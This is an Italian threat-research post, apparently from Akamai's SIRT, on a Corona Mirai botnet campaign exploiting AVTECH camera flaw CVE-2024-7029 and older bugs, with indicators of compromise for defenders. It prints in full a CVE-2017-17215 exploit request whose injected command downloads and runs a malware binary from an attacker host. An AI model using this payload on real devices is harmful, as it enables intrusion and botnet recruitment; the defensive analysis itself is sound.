Attenzione alle vulnerabilità prive di patch: la botnet Corona Mirai si diffonde con attacchi zero-day
Commento editoriale aggiuntivo di Tricia Howard
Copy editing di Maria Vlasak
Analisi riassuntiva
Il team SIRT (Security Intelligence and Response Team) di Akamai ha osservato una campagna di botnet che prende di mira diverse vulnerabilità sfruttate in precedenza, nonché una vulnerabilità zero-day scoperta da questo team.
La CVE-2024-7029 (scoperta da Aline Eliovich) è una vulnerabilità di tipo Command Injection rilevata nella funzione di luminosità delle videocamere a circuito chiuso (CCTV) di AVTECH che consente l'esecuzione di codice remoto (RCE).
Una volta iniettata, la botnet diffonde una variante Mirai con nomi di stringhe che fanno riferimento al virus del COVID-19 osservato a partire almeno dal 2020.
Abbiamo incluso un elenco di indicatori di compromissione (IoC) per aiutarvi a difendervi da questa minaccia.
Introduzione
L'Akamai SIRT controlla e partecipa a vari feed di intelligence a livello interno ed esterno per proteggere le proprie vite e quelle dei propri clienti. Abbiamo scoperto una serie di minacce attive tramite la nostra rete honeypot globale, inclusa la vulnerabilità di cui stiamo parlando, la CVE-2024-7029, minaccia scoperta da Aline Eliovich.
Questa vulnerabilità zero-day con RCE è stata scoperta nella funzione di luminosità delle videocamere AVTECH IP e permette a un attacco CMDi (Command injection) di distribuire una variante Mirai sul sistema preso di mira. in modalità remota con privilegi elevati (eseguiti dal proprietario del processo). Nel mese di agosto 2024, CISA ha pubblicato un avviso ICS (Industrial Control System) per questa vulnerabilità indicando la mancanza di complessità degli attacchi, lo sfruttamento remoto e lo sfruttamento delle vulnerabilità di categorie note.
La campagna di botnet prende di mira diverse vulnerabilità esterne alla CVE-2024-7029, tra cui numerose vulnerabilità AVTECH, un Hadoop YARN RCE, la CVE-2014-8361 e la CVE-2017-17215. In tal modo, il criminale segue la tendenza di utilizzare vulnerabilità precedenti, probabilmente a bassa priorità e prive di patch, a scopi dannosi.
È ora di aggiornare le patch
Se mai c'è stato un momento di aggiornare le patch, è proprio adesso: molte di queste vulnerabilità sono associate ad un elemento RCE. Ancora peggio, la mancanza di un codice CVE formale ad esse associato le rende difficili da monitorare, figuriamoci trovare le patch appropriate.
In questo post del blog, descriveremo l'attacco zero-day e il suo impatto, inoltre, presenteremo un elenco completo di IOC per facilitare il rilevamento e la mitigazione.
Che cos'è la vulnerabilità CVE-2024-7029?
In breve, la vulnerabilità CVE-2024-7029 è presente nelle videocamere IP AVTECH in cui l'argomento “luminosità” nel parametro “azione=” consente un attacco di tipo CMDi (Command injection). Il criminale osservato ha sfruttato questa vulnerabilità per diffondere una variante della botnet Mirai con nomi di stringhe che fanno riferimento al virus del COVID-19.
Da quanto tempo questa variante è attiva?
La prima campagna attiva osservata è iniziata il 18 marzo 2024, tuttavia, le nostre analisi hanno registrato attività relative a questa variante già dal mese di dicembre 2023. La PoC (prova di concetto) per CVE-2024-7029 è stata resa disponibile per il pubblico almeno dal 2019, tuttavia non è mai stato assegnato un codice CVE appropriato fino al mese di agosto 2024.
Chi è interessato da questa vulnerabilità?
Questa vulnerabilità presente nelle videocamere AVTECH IP interessa le versioni del firmware AVM1203 FullImg-1023-1007-1011-1009. Nonostante il modello in questione sia stato ritirato dal mercato da vari anni, la CISA ha dichiarato nel suo avviso che questo tipo di videocamera viene ancora utilizzato a livello globale, ad esempio, dalle autorità di trasporto e da altri enti di infrastrutture importanti.
Come funziona?
Questa vulnerabilità è stata originariamente scoperta esaminando i nostri registri di honeypot. Nella Figura 1 viene illustrato l'URL decodificato per maggiore chiarezza.
Figura 1. Corpo del payload decodificato relativo ai tentativi di sfruttamento
La vulnerabilità risiede nella funzione di luminosità all'interno del file /cgi-bin/supervisor/Factory.cgi (Figura 2).
Figura 2. PoC dell'exploit
Che cosa potrebbe succedere?
Negli esempi di sfruttamento che abbiamo osservato, praticamente è successo quanto segue: Se sfruttata, questa vulnerabilità consente ad un criminale di eseguire codice remoto sul sistema preso di mira.
Nella Figura 3, viene riportato un esempio di un criminale che tenta di sfruttare questa vulnerabilità per scaricare ed eseguire un file JavaScript allo scopo di recuperare e caricare il proprio payload di malware principale. In modo simile a molte altre botnet, questo attacco diffonde anche una variante del malware Mirai sui sistemi presi di mira.
Figura 3. Stringhe presenti nell'utilità di download di JavaScript
In questo caso, è probabile che la botnet utilizzi la variante Corona Mirai, cui fanno riferimento altri vendor già dal 2020 in relazione al virus COVID-19.
Al momento dell'esecuzione, il malware si connette ad un gran numero di host tramite Telnet sulle porte 23, 2323 e 37215. Viene stampata sulla console anche la stringa "Corona" su un host infettato (Figura 4).
Figura 4. Esecuzione di malware con risultati visualizzati sulla console
L'analisi statica delle stringhe nei campioni di malware mostra il percorso preso di mira /ctrlt/DeviceUpgrade_1 nel tentativo di sfruttare i dispositivi Huawei interessati dalla vulnerabilità CVE-2017-17215. I campioni presentano due indirizzi IP codificati di tipo Command and Control, uno dei quali fa parte del codice di sfruttamento CVE-2017-17215 (Figura 5).
POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Content-Length: 430
Connection: keep-alive
Accept: */*
Authorization: Digest username=\"dslf-config\", realm=\"HuaweiHomeGateway\", nonce=\"88645cefb1f9ede0e336e3569d75ee30\", uri=\"/ctrlt/DeviceUpgrade_1\", response=\"3612f843a42db38f48f59d2a3597e19c\", algorithm=\"MD5\", qop=\"auth\", nc=00000001, cnonce=\"248d1a2560100669\"
<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>$(/bin/busybox wget -g 45.14.244[.]89 -l /tmp/mips -r /mips; /bin/busybox chmod 777 * /tmp/mips; /tmp/mips huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Figura 5. CVE-2017-17215 codice di sfruttamento /ctrlt/DeviceUpgrade_1
La botnet ha preso di mira anche molte altre vulnerabilità, tra cui un Hadoop YARN RCE, la CVE-2014-8361 e la CVE-2017-17215. Abbiamo osservato queste vulnerabilità sfruttate in rete varie volte e vengono ancora prese di mira in modo efficace.
Conclusione
Una vulnerabilità a cui è stato assegnato un codice CVE formale potrebbe rappresentare comunque una minaccia per la vostra organizzazione, anche in modo significativo. Gli autori di queste botnet usano vulnerabilità nuove o nascoste per diffondere il malware. La CVE-2024-7029 è un altro esempio dell'utilizzo del secondo attacco, che sta diventando una tendenza popolare, come è stato osservato dal SIRT.
A molte vulnerabilità con exploit pubblici o PoC disponibili non è stato assegnato un codice CVE formale e, in alcuni casi, i dispositivi rimangono privi di patch. La gestione delle patch è complicata, specialmente se per le minacce non sono disponibili alcune patch. Se non c'è modo di rimediare ad una minaccia, la dismissione dei prodotti hardware e software è il modo consigliato per mitigare i rischi per la sicurezza e ridurre il rischio di incorrere in sanzioni normative.
Tenetevi aggiornati con noi
L'Akamai SIRT continuerà a scoprire, monitorare e segnalare minacce come la CVE-2024-7029 per proteggere i nostri clienti, i nostri dipendenti e la comunità della sicurezza in generale. Per tenervi aggiornati sui risultati recenti, potete seguirci sui social media o consultare la nostra pagina relativa alle ricerche sulla sicurezza.
IoC
Indirizzi IPv4
93.123.39[.]72
93.123.39[.]87
93.123.39[.]111
147.78.103[.]177
185.216.70[.]37
94.156.8[.]185
93.123.39[.]173
74.50.81[.]158
94.156.71[.]74
93.123.85[.]213
185.216.70[.]142
45.66.231[.]148
185.216.70[.]79
Hash SHA256
15a1d52c529d314bb2b5fa8b8bd6c6a496609a283dd0e78e595c929e720d1b5b (“r”)
c0ae1eb249705f61d45ca747c91c02a411557a28792f4064c1d647abb580bc10 (“x86”)
b0f7ef937d77061515907c54967a44da3701e0d2af143164bbf44bb4fc6f26af (“sh”)
e82192fbe00bc7205abe786155bbfc0548f5c6ee9819a581e965526674f3cc57 (“mips”)
9e9e481bb448438572c2695469c85f773ddcd952025e45bee33bbfce2531c656 (“r”)
f4bf61fc335db4f3e7d7d89b534bc1e6ead66a51938e119ea340fe95039935e3 (“mips”)
22553be649f76a060ebbdfd410e295b66803e9c49d23369a726be2c5a25733ab (“sh”)
135264de24d499877e95673b9cca737e488042813f41fef7817728a704323fe2 (“r”)
6ad5984bc9af7af6962a080bbb1a35bb56e8671c4b9c1d44e88da5a3f6b9aa82 (“r”)
947f517d3b833cc046b2ea0540aad199b7777fb03057122fb0b618828abdc212 (“r”)
8ac82a770cffbbc8fba73554d7caa117ef6d37ffee468665b95bc406449f91b5 (“r”)
5e264cb009c4d84b6180e47b9ceda3af8897b17b88fccc9c2914706d66abd1d1 (“r”)
372eefdc4bf9f4a4382db2762fcf9a9db559c9d4fff2ee5f5cf5362418caaa92 (“r”)
3995a7e7eb8eeafb0b6da2c3813e61d11993a820d478c87809136de79d8f8280 (“sh”)
40d8f662c187b53fd6fdeb70db9eb262b707e557d3fa4e5e4eacaeaa03ac45f2 (“r”)
4826b0194fbd924aa57b9c4ab1e017f0f45f547189374b0ea761d415fa4285ff (“x86”)
25945c4fe38ed2008f027bd1484b89867b23528c738812d317ddf57f48666b91 (“r”)
cfcae524309a220a48327c50bf32bf5ed3aed5698855b5da9f1ae932fb2df90c (“x86”)
774947944ea370592a30478bb3f26081799f7d7df975a6735e620d3442e7803b (“x86”)
06b1f09a62204472581e6aec381f96014bb6cc3fc1a9cef38bbcfe88bd82e499 (“r”)
4f50d318688c80f08eb7fad6f8788cae459c3420b3b9eb566f936edd7a780ae1 (“sh”)
c15bbfb85bfd8305fad8cc0e0d06cbe825e1e6fc6d8dbe5a8d1ac4243bd77d0c (“x86”)
0a566c39ecbc4107f954cb3e5e240ccaf0018dfac9b5062b4db7971fb3d9f413 (“x86”)
2d7351aa765bb2feed9536cc392b2013361c193e99841c5b56591d988bd4b582 (“x86”)
5d58f0fa54784e9c90825cba9e2052f691cdcfe85b0796a6379982832563090d (“x86”)
